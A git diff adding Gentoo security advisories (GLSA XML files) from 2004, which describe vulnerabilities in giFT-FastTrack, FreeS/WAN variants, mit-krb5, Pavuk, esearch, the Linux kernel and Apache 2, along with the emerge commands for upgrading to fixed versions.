+    giFT-FastTrack is a plugin for the giFT file-sharing application. It
+    allows giFT users to connect to the fasttrack network to share files.
+    </p>
+  </background>
+  <description>
+    <p>
+    Alan Fitton found a vulnerability in the giFT-FastTrack plugin in
+    version 0.8.6 and earlier. It can be used to remotely crash the giFT
+    daemon.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    Attackers may use this vulnerability to perform a Denial of Service
+    attack against the giFT daemon. There is no risk of code execution.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users should upgrade to the latest available version of
+    gift-fasttrack:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-p2p/gift-fasttrack-0.8.7&quot;
+    # emerge &quot;&gt;=net-p2p/gift-fasttrack-0.8.7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://gift-fasttrack.berlios.de/">giFT-FastTrack announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0604">CVE-2004-0604</uri>
+  </references>
+  <metadata tag="submitter">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200406-20.xml b/xml/htdocs/security/en/glsa/glsa-200406-20.xml
new file mode 100644
index 00000000..abefada9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200406-20.xml
@@ -0,0 +1,122 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200406-20">
+  <title>FreeS/WAN, Openswan, strongSwan: Vulnerabilities in certificate handling</title>
+  <synopsis>
+    FreeS/WAN, Openswan, strongSwan and Super-FreeS/WAN contain two bugs when
+    authenticating PKCS#7 certificates. This could allow an attacker to
+    authenticate with a fake certificate.
+  </synopsis>
+  <product type="ebuild">Openswan</product>
+  <announced>June 25, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/freeswan" auto="yes" arch="*">
+      <unaffected range="ge">2.04-r1</unaffected>
+      <unaffected range="eq">1.99-r1</unaffected>
+      <vulnerable range="lt">2.04-r1</vulnerable>
+    </package>
+    <package name="net-misc/openswan" auto="yes" arch="*">
+      <unaffected range="ge">2.1.4</unaffected>
+      <unaffected range="eq">1.0.6_rc1</unaffected>
+      <vulnerable range="lt">2.1.4</vulnerable>
+    </package>
+    <package name="net-misc/strongswan" auto="yes" arch="*">
+      <unaffected range="ge">2.1.3</unaffected>
+      <vulnerable range="lt">2.1.3</vulnerable>
+    </package>
+    <package name="net-misc/super-freeswan" auto="yes" arch="*">
+      <vulnerable range="le">1.99.7.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    FreeS/WAN, Openswan, strongSwan and Super-FreeS/WAN are Open Source
+    implementations of IPsec for the Linux operating system. They are all
+    based on the discontinued FreeS/WAN project.
+    </p>
+  </background>
+  <description>
+    <p>
+    All these IPsec implementations have several bugs in the
+    verify_x509cert() function, which performs certificate validation, that
+    make them vulnerable to malicious PKCS#7 wrapped objects.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    With a carefully crafted certificate payload an attacker can
+    successfully authenticate against FreeS/WAN, Openswan, strongSwan or
+    Super-FreeS/WAN, or make the daemon go into an endless loop.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All FreeS/WAN 1.9x users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;=net-misc/freeswan-1.99-r1&quot;
+    # emerge &quot;=net-misc/freeswan-1.99-r1&quot;</code>
+    <p>
+    All FreeS/WAN 2.x users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-misc/freeswan-2.04-r1&quot;
+    # emerge &quot;&gt;=net-misc/freeswan-2.04-r1&quot;</code>
+    <p>
+    All Openswan 1.x users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;=net-misc/openswan-1.0.6_rc1&quot;
+    # emerge &quot;=net-misc/openswan-1.0.6_rc1&quot;</code>
+    <p>
+    All Openswan 2.x users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-misc/openswan-2.1.4&quot;
+    # emerge &quot;&gt;=net-misc/openswan-2.1.4&quot;</code>
+    <p>
+    All strongSwan users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-misc/strongswan-2.1.3&quot;
+    # emerge &quot;&gt;=net-misc/strongswan-2.1.3&quot;</code>
+    <p>
+    All Super-FreeS/WAN users should migrate to the latest stable version
+    of Openswan. Note that Portage will force a move for Super-FreeS/WAN
+    users to Openswan.
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;=net-misc/openswan-1.0.6_rc1&quot;
+    # emerge &quot;=net-misc/openswan-1.0.6_rc1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://lists.openswan.org/pipermail/dev/2004-June/000370.html">Openswan/strongSwan Authentication Bug</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0590">CVE-2004-0590</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200406-21.xml b/xml/htdocs/security/en/glsa/glsa-200406-21.xml
new file mode 100644
index 00000000..866ed896
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200406-21.xml
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200406-21">
+  <title>mit-krb5: Multiple buffer overflows in krb5_aname_to_localname</title>
+  <synopsis>
+    mit-krb5 contains multiple buffer overflows in the function
+    krb5_aname_to_localname(). This could potentially lead to a complete remote
+    system compromise.
+  </synopsis>
+  <product type="ebuild">mit-krb5</product>
+  <announced>June 29, 2004</announced>
+  <revised>June 29, 2004: 01</revised>
+  <bug>52744</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-crypt/mit-krb5" auto="yes" arch="*">
+      <unaffected range="ge">1.3.3-r1</unaffected>
+      <vulnerable range="le">1.3.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    mit-krb5 is the free implementation of the Kerberos network authentication
+    protocol by the Massachusetts Institute of Technology.
+    </p>
+  </background>
+  <description>
+    <p>
+    The library function krb5_aname_to_localname() contains multiple buffer
+    overflows. This is only exploitable if explicit mapping or rules-based
+    mapping is enabled. These are not enabled as default.
+    </p>
+    <p>
+    With explicit mapping enabled, an attacker must authenticate using a
+    principal name listed in the explicit mapping list.
+    </p>
+    <p>
+    With rules-based mapping enabled, an attacker must first be able to create
+    arbitrary principal names either in the local realm Kerberos realm or in a
+    remote realm from which the local realm's service are reachable by
+    cross-realm authentication.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could use these vulnerabilities to execute arbitrary code with
+    the permissions of the user running mit-krb5, which could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    mit-krb5 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=app-crypt/mit-krb5-1.3.3-r1"
+    # emerge ">=app-crypt/mit-krb5-1.3.3-r1"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0523">CAN-2004-0523</uri>
+    <uri link="http://web.mit.edu/kerberos/advisories/MITKRB5-SA-2004-001-an_to_ln.txt">MIT krb5 Security Advisory</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200406-22.xml b/xml/htdocs/security/en/glsa/glsa-200406-22.xml
new file mode 100644
index 00000000..f70e3694
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200406-22.xml
@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200406-22">
+  <title>Pavuk: Remote buffer overflow</title>
+  <synopsis>
+    Pavuk contains a bug potentially allowing an attacker to run arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">Pavuk</product>
+  <announced>June 30, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/pavuk" auto="yes" arch="*">
+      <unaffected range="ge">0.9.28-r2</unaffected>
+      <vulnerable range="le">0.9.28-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Pavuk is web spider and website mirroring tool.
+    </p>
+  </background>
+  <description>
+    <p>
+    When Pavuk connects to a web server and the server sends back the HTTP
+    status code 305 (Use Proxy), Pavuk copies data from the HTTP Location
+    header in an unsafe manner.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could cause a stack-based buffer overflow which could lead
+    to arbitrary code execution with the rights of the user running Pavuk.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Pavuk users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-misc/pavuk-0.9.28-r2&quot;
+    # emerge &quot;&gt;=&quot;net-misc/pavuk-0.9.28-r2</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0456">CVE-2004-0456</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200407-01.xml b/xml/htdocs/security/en/glsa/glsa-200407-01.xml
new file mode 100644
index 00000000..fef7a809
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200407-01.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200407-01">
+  <title>Esearch: Insecure temp file handling</title>
+  <synopsis>
+    The eupdatedb utility in esearch creates a file in /tmp without first
+    checking for symlinks. This makes it possible for any user to create
+    arbitrary files.
+  </synopsis>
+  <product type="ebuild">esearch</product>
+  <announced>July 01, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>55424</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-portage/esearch" auto="yes" arch="*">
+      <unaffected range="ge">0.6.2</unaffected>
+      <vulnerable range="le">0.6.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Esearch is a replacement for the Portage command "emerge search". It
+    uses an index to speed up searching of the Portage tree.
+    </p>
+  </background>
+  <description>
+    <p>
+    The eupdatedb utility uses a temporary file (/tmp/esearchdb.py.tmp) to
+    indicate that the eupdatedb process is running. When run, eupdatedb
+    checks to see if this file exists, but it does not check to see if it
+    is a broken symlink. In the event that the file is a broken symlink,
+    the script will create the file pointed to by the symlink, instead of
+    printing an error and exiting.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could create a symlink from /tmp/esearchdb.py.tmp to a
+    nonexistent file (such as /etc/nologin), and the file will be created
+    the next time esearchdb is run.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users should upgrade to
+    the latest available version of esearch.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users should upgrade to the latest available version of esearch, as
+    follows:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=app-portage/esearch-0.6.2&quot;
+    # emerge &quot;&gt;=app-portage/esearch-0.6.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0655">CVE-2004-0655</uri>
+  </references>
+  <metadata tag="submitter">
+    condordes
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200407-02.xml b/xml/htdocs/security/en/glsa/glsa-200407-02.xml
new file mode 100644
index 00000000..51b29dff
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200407-02.xml
@@ -0,0 +1,320 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200407-02">
+  <title>Linux Kernel: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been found in the Linux kernel used by
+    GNU/Linux systems. Patched, or updated versions of these kernels have been
+    released and details are included in this advisory.
+  </synopsis>
+  <product type="ebuild">Kernel</product>
+  <announced>July 03, 2004</announced>
+  <revised>May 22, 2006: 03</revised>
+  <bug>47881</bug>
+  <bug>49637</bug>
+  <bug>53804</bug>
+  <bug>54976</bug>
+  <bug>55698</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-kernel/aa-sources" auto="no" arch="*">
+      <unaffected range="eq">2.4.23-r2</unaffected>
+      <vulnerable range="lt">2.4.23-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/alpha-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.21-r8</unaffected>
+      <vulnerable range="lt">2.4.21-r8</vulnerable>
+    </package>
+    <package name="sys-kernel/ck-sources" auto="no" arch="*">
+      <unaffected range="eq">2.4.26-r1</unaffected>
+      <unaffected range="ge">2.6.7-r1</unaffected>
+      <vulnerable range="lt">2.6.7-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/compaq-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.9.32.7-r7</unaffected>
+      <vulnerable range="lt">2.4.9.32.7-r7</vulnerable>
+    </package>
+    <package name="sys-kernel/development-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7</unaffected>
+      <vulnerable range="lt">2.6.7</vulnerable>
+    </package>
+    <package name="sys-kernel/gaming-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.20-r14</unaffected>
+      <vulnerable range="lt">2.4.20-r14</vulnerable>
+    </package>
+    <package name="sys-kernel/gentoo-dev-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7</unaffected>
+      <vulnerable range="lt">2.6.7</vulnerable>
+    </package>
+    <package name="sys-kernel/gentoo-sources" auto="yes" arch="*">
+      <unaffected range="rge">2.4.19-r17</unaffected>
+      <unaffected range="rge">2.4.20-r20</unaffected>
+      <unaffected range="rge">2.4.22-r12</unaffected>
+      <unaffected range="rge">2.4.25-r5</unaffected>
+      <unaffected range="ge">2.4.26-r3</unaffected>
+      <vulnerable range="lt">2.4.26-r3</vulnerable>
+    </package>
+    <package name="sys-kernel/grsec-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.26.2.0-r5</unaffected>
+      <vulnerable range="lt">2.4.26.2.0-r5</vulnerable>
+    </package>
+    <package name="sys-kernel/gs-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.25_pre7-r7</unaffected>
+      <vulnerable range="lt">2.4.25_pre7-r7</vulnerable>
+    </package>
+    <package name="sys-kernel/hardened-dev-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7</unaffected>
+      <vulnerable range="lt">2.6.7</vulnerable>
+    </package>
+    <package name="sys-kernel/hardened-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.26-r2</unaffected>
+      <vulnerable range="lt">2.4.26-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/hppa-dev-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7</unaffected>
+      <vulnerable range="lt">2.6.7</vulnerable>
+    </package>
+    <package name="sys-kernel/hppa-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.26_p6</unaffected>
+      <vulnerable range="lt">2.4.26_p6</vulnerable>
+    </package>
+    <package name="sys-kernel/ia64-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.24-r5</unaffected>
+      <vulnerable range="lt">2.4.24-r5</vulnerable>
+    </package>
+    <package name="sys-kernel/mips-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.26-r3</unaffected>
+      <vulnerable range="lt">2.4.26-r3</vulnerable>
+    </package>
+    <package name="sys-kernel/mm-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7-r1</unaffected>
+      <vulnerable range="lt">2.6.7-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/openmosix-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.22-r10</unaffected>
+      <vulnerable range="lt">2.4.22-r10</vulnerable>
+    </package>
+    <package name="sys-kernel/pac-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.23-r8</unaffected>
+      <vulnerable range="lt">2.4.23-r8</vulnerable>
+    </package>
+    <package name="sys-kernel/pegasos-dev-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7</unaffected>
+      <vulnerable range="lt">2.6.7</vulnerable>
+    </package>
+    <package name="sys-kernel/pegasos-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.26-r2</unaffected>
+      <vulnerable range="lt">2.4.26-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/planet-ccrma-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.21-r10</unaffected>
+      <vulnerable range="lt">2.4.21-r10</vulnerable>
+    </package>
+    <package name="sys-kernel/ppc-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.26-r2</unaffected>
+      <vulnerable range="lt">2.4.26-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/ppc64-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7</unaffected>
+      <vulnerable range="lt">2.6.7</vulnerable>
+    </package>
+    <package name="sys-kernel/rsbac-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.26-r2</unaffected>
+      <vulnerable range="lt">2.4.26-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/rsbac-dev-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7-r1</unaffected>
+      <vulnerable range="lt">2.6.7-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/selinux-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.26-r2</unaffected>
+      <vulnerable range="lt">2.4.26-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/sparc-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.26-r2</unaffected>
+      <vulnerable range="lt">2.4.26-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/uclinux-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.26_p0-r2</unaffected>
+      <vulnerable range="lt">2.4.26_p0-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/usermode-sources" auto="yes" arch="*">
+      <unaffected range="rge">2.4.24-r5</unaffected>
+      <unaffected range="ge">2.4.26-r2</unaffected>
+      <vulnerable range="lt">2.4.26-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/vserver-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.26.1.3.9-r2</unaffected>
+      <vulnerable range="lt">2.4.26.1.3.9-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/win4lin-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.26-r2</unaffected>
+      <vulnerable range="lt">2.4.26-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/wolk-sources" auto="yes" arch="*">
+      <unaffected range="rge">4.9-r9</unaffected>
+      <unaffected range="rge">4.11-r6</unaffected>
+      <unaffected range="ge">4.14-r3</unaffected>
+      <vulnerable range="lt">4.14-r3</vulnerable>
+    </package>
+    <package name="sys-kernel/xbox-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7</unaffected>
+      <vulnerable range="lt">2.6.7</vulnerable>
+    </package>
+    <package name="sys-kernel/xfs-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.24-r8</unaffected>
+      <vulnerable range="lt">2.4.24-r8</vulnerable>
+    </package>
+    <package name="sys-kernel/vanilla-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.27</unaffected>
+      <vulnerable range="le">2.4.26</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Linux kernel is responsible for managing the core aspects of a
+    GNU/Linux system, providing an interface for core system applications
+    as well as providing the essential structure and capability to access
+    hardware that is needed for a running system.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple flaws have been discovered in the Linux kernel. This advisory
+    corrects the following issues:
+    </p>
+    <ul>
+    <li>
+    CAN-2004-0109: This vulnerability allows privilege escalation using
+    ISO9660 file systems through a buffer overflow via a malformed file
+    system containing a long symbolic link entry. This can allow arbitrary
+    code execution at kernel level.
+    </li>
+    <li>
+    CAN-2004-0133: The XFS file system in 2.4 series kernels has an
+    information leak by which data in the memory can be written to the
+    device hosting the file system, allowing users to obtain portions of
+    kernel memory by reading the raw block device.
+    </li>
+    <li>
+    CAN-2004-0177: The ext3 file system in 2.4 series kernels does not
+    properly initialize journal descriptor blocks, causing an information
+    leak by which data in the memory can be written to the device hosting
+    the file system, allowing users to obtain portions of kernel memory by
+    reading the raw device.
+    </li>
+    <li>
+    CAN-2004-0181: The JFS file system in 2.4 series kernels has an
+    information leak by which data in the memory can be written to the
+    device hosting the file system, allowing users to obtain portions of
+    kernel memory by reading the raw device.
+    </li>
+    <li>
+    CAN-2004-0178: The OSS Sound Blaster [R] Driver has a Denial of Service
+    vulnerability since it does not handle certain sample sizes properly.
+    This allows local users to hang the kernel.
+    </li>
+    <li>
+    CAN-2004-0228: Due to an integer signedness error in the CPUFreq /proc
+    handler code in 2.6 series Linux kernels, local users can escalate
+    their privileges.
+    </li>
+    <li>
+    CAN-2004-0229: The framebuffer driver in 2.6 series kernel drivers does
+    not use the fb_copy_cmap method of copying structures. The impact of
+    this issue is unknown, however.
+    </li>
+    <li>
+    CAN-2004-0394: A buffer overflow in the panic() function of 2.4 series
+    Linux kernels exists, but it may not be exploitable under normal
+    circumstances due to its functionality.
+    </li>
+    <li>
+    CAN-2004-0427: The do_fork() function in both 2.4 and 2.6 series Linux
+    kernels does not properly decrement the mm_count counter when an error
+    occurs, triggering a memory leak that allows local users to cause a
+    Denial of Service by exhausting other applications of memory; causing
+    the kernel to panic or to kill services.
+    </li>
+    <li>
+    CAN-2004-0495: Multiple vulnerabilities found by the Sparse source
+    checker in the kernel allow local users to escalate their privileges or
+    gain access to kernel memory.
+    </li>
+    <li>
+    CAN-2004-0535: The e1000 NIC driver does not properly initialize memory
+    structures before using them, allowing users to read kernel memory.
+    </li>
+    <li>
+    CAN-2004-0554: 2.4 and 2.6 series kernels running on an x86 or an AMD64
+    architecture allow local users to cause a Denial of Service by a total
+    system hang, due to an infinite loop that triggers a signal handler
+    with a certain sequence of fsave and frstor instructions.
+    </li>
+    <li>
+    Local DoS in PaX: If ASLR is enabled as a GRSecurity PaX feature, a
+    Denial of Service can be achieved by putting the kernel into an
+    infinite loop. Only 2.6 series GRSecurity kernels are affected by this
+    issue.
+    </li>
+    <li>
+    RSBAC 1.2.3 JAIL issues: A flaw in the RSBAC JAIL implementation allows
+    suid/sgid files to be created inside the jail since the relevant module
+    does not check the corresponding mode values. This can allow privilege
+    escalation inside the jail. Only rsbac-(dev-)sources are affected by
+    this issue.
+    </li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    Arbitrary code with normal non-super-user privileges may be able to
+    exploit any of these vulnerabilities; gaining kernel level access to
+    memory structures and hardware devices. This may be used for further
+    exploitation of the system, to leak sensitive data or to cause a Denial
+    of Service on the affected kernel.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Although users may not be affected by certain vulnerabilities, all
+    kernels are affected by the CAN-2004-0394, CAN-2004-0427 and
+    CAN-2004-0554 issues which have no workaround. As a result, all users
+    are urged to upgrade their kernels to patched versions.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Users are encouraged to upgrade to the latest available sources for
+    their system:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv your-favorite-sources
+    # emerge your-favorite-sources
+    
+    # # Follow usual procedure for compiling and installing a kernel.
+    # # If you use genkernel, run genkernel as you would do normally.</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0109">CVE-2004-0109</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0133">CVE-2004-0133</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0177">CVE-2004-0177</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0178">CVE-2004-0178</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0181">CVE-2004-0181</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0228">CVE-2004-0228</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0229">CVE-2004-0229</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0394">CVE-2004-0394</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0427">CVE-2004-0427</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0495">CVE-2004-0495</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0535">CVE-2004-0535</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0554">CVE-2004-0554</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1983">CVE-2004-1983</uri>
+  </references>
+  <metadata tag="submitter">
+    plasmaroo
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200407-03.xml b/xml/htdocs/security/en/glsa/glsa-200407-03.xml
new file mode 100644
index 00000000..932c6b44
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200407-03.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200407-03">
+  <title>Apache 2: Remote denial of service attack</title>
+  <synopsis>
+    A bug in Apache may allow a remote attacker to perform a Denial of Service
+    attack. With certain configurations this could lead to a heap based buffer
+    overflow.
+  </synopsis>
+  <product type="ebuild">Apache</product>
+  <announced>July 04, 2004</announced>
+  <revised>December 30, 2007: 02</revised>
+  <bug>55441</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/apache" auto="yes" arch="*">
+      <unaffected range="ge">2.0.49-r4</unaffected>
+      <unaffected range="lt">2</unaffected>
+      <vulnerable range="le">2.0.49-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Apache HTTP Server Project is an effort to develop and maintain an
+    open-source HTTP server for modern operating systems. The goal of this
+    project is to provide a secure, efficient and extensible server that
+    provides services in tune with the current HTTP standards.
+    </p>
+  </background>
+  <description>
+    <p>
+    A bug in the protocol.c file handling header lines will cause Apache to
+    allocate memory for header lines starting with TAB or SPACE.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker can exploit this vulnerability to perform a Denial of Service
+    attack by causing Apache to exhaust all memory. On 64 bit systems with more
+    than 4GB of virtual memory a possible integer signedness error could lead
+    to a buffer based overflow causing Apache to crash and under some
+    circumstances execute arbitrary code as the user running Apache, usually
+    "apache".
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version:
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Apache 2 users should upgrade to the latest version of Apache:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=www-servers/apache-2.0.49-r4"
+    # emerge ">=www-servers/apache-2.0.49-r4"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.guninski.com/httpd1.html">Georgi Guninski security advisory #70, 2004</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0493">CAN-2004-0493</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200407-04.xml b/xml/htdocs/security/en/glsa/glsa-200407-04.xml
new file mode 100644
index 00000000..9598b0ef
--- /dev/null
